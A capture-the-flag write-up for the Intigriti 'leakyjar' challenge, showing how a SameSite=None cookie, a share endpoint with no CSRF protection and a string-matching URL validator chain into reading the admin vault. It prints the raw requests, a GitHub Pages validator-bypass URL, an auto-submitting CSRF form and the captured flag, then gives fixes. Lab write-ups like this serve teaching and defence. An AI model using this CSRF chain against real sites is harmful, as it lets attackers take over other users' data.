The session cookie had one bad attribute. The share endpoint had no protection. The bot's URL validator used a string match. None of these alone was enough. Combined — full admin vault read in under thirty seconds.
A cookie-recipe sharing app. Register, get a private vault —
a recipe box storing names and notes. The notes field is literally called
password in the form. Share your vault with another user and
they get full read access to every recipe and note inside.
There is an admin account. Its vault holds the flag. There is a bot at
/submit — send it a URL, it visits as admin, reviews the page.
That bot is the only attack surface that matters.
Goal: get the bot to share the admin vault with the attacker account.
GET / landing page POST /register create account POST /login authenticate GET /vault your recipe box POST /vault/add add a recipe POST /share share vault with user ← target POST /submit submit URL to admin bot ← entry GET /vault/:uuid read a shared vault
Each one independently is a finding. Together they are a chain. Remove any single link and the attack fails.
The browser attaches this cookie to every request regardless of origin — including cross-origin form POSTs from domains the victim never chose to visit.
Enables cross-origin deliveryThe share form has no hidden token, no nonce. The server checks neither Origin nor Referer. Any POST with a valid session cookie succeeds.
The validator does a raw string match on the URL — not a hostname parse. A GitHub Pages URL with leakyjar.intigriti.io in the path passes, but the bot visits GitHub's servers — a page the attacker controls.
Set-Cookie: session=eyJ1c2VyI...; Secure; HttpOnly; Path=/; SameSite=None ← should be Lax
POST /share Origin: https://evil.com Cookie: session=<victim> username=attacker HTTP/1.1 302 Found ← no rejection
# Rejected (blocklist entries): https://lhr.life/... ← rejected https://127.0.0.1/... ← rejected https://leakyjar.intigriti.io.evil.com ← rejected # Path contains "leakyjar.intigriti.io" → passes string match: https://techiesiddhi.github.io/poc/leakyjar.intigriti.io/ # Bot visits techiesiddhi.github.io — attacker's page
POST /register HTTP/1.1 Host: leakyjar.intigriti.io username=h4ckzor99&password=letmein321 HTTP/1.1 302 Found Set-Cookie: session=eyJ1c2VyIjoiaDRja3pvcjk5In0.aj9utQ._U3ix7ihof2t0i5_BG4f_AOzBrg; Secure; HttpOnly; SameSite=None
Path contains leakyjar.intigriti.io as a directory name — passes the bot's string-match check. GitHub Pages serves it with no CSP, so the form fires immediately on load.
<form id="f" method="POST" action="https://leakyjar.intigriti.io/share"> <input type="hidden" name="username" value="h4ckzor99"> </form> <script>document.getElementById('f').submit();</script>
POST /submit HTTP/1.1 Host: leakyjar.intigriti.io Cookie: session=eyJ1c2VyIjoiaDRja3pvcjk5In0.aj9wlw.pvWcT51BZpTu6JMxwnWqfPfbpJc url=https%3A%2F%2Ftechiesiddhi.github.io%2Fpoc%2Fleakyjar.intigriti.io%2F Sent — the Master Baker will check it shortly.
HeadlessChrome/133 from GCP Belgium loads the page, the form auto-submits. Because the admin's cookie is SameSite=None, the browser attaches it to the cross-origin POST without hesitation.
POST /share HTTP/1.1 Host: leakyjar.intigriti.io Origin: https://techiesiddhi.github.io Cookie: session=<admin_session> Content-Type: application/x-www-form-urlencoded username=h4ckzor99 HTTP/1.1 302 Found Location: /vault ← vault shared. admin never notified.
The admin's vault share appears in the attacker account within seconds. The admin receives no notification.
Shared vault appears in the attacker's vault page. Open it.
House Sugar Cookies Cream butter and sugar, bake at 175C for 9 minutes.
Brown Butter Base Brown the butter until nutty, then chill before using.
Master Baker's Secret Recipe INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
Admin vault contents read in full. No XSS. No phishing. No interaction from the admin beyond the bot doing its routine review. The entire attack ran from a registered account with no elevated privileges.
Fix 1 alone stops the attack. Fix 2 is defence in depth.
Blocks cross-origin form POSTs from carrying the session. This alone kills the CSRF.
session=...; Secure;
HttpOnly; Path=/;
SameSite=Lax
Covers /share, /vault/add, and /recipes/review in one line.
from flask_wtf.csrf import \ CSRFProtect csrf = CSRFProtect(app)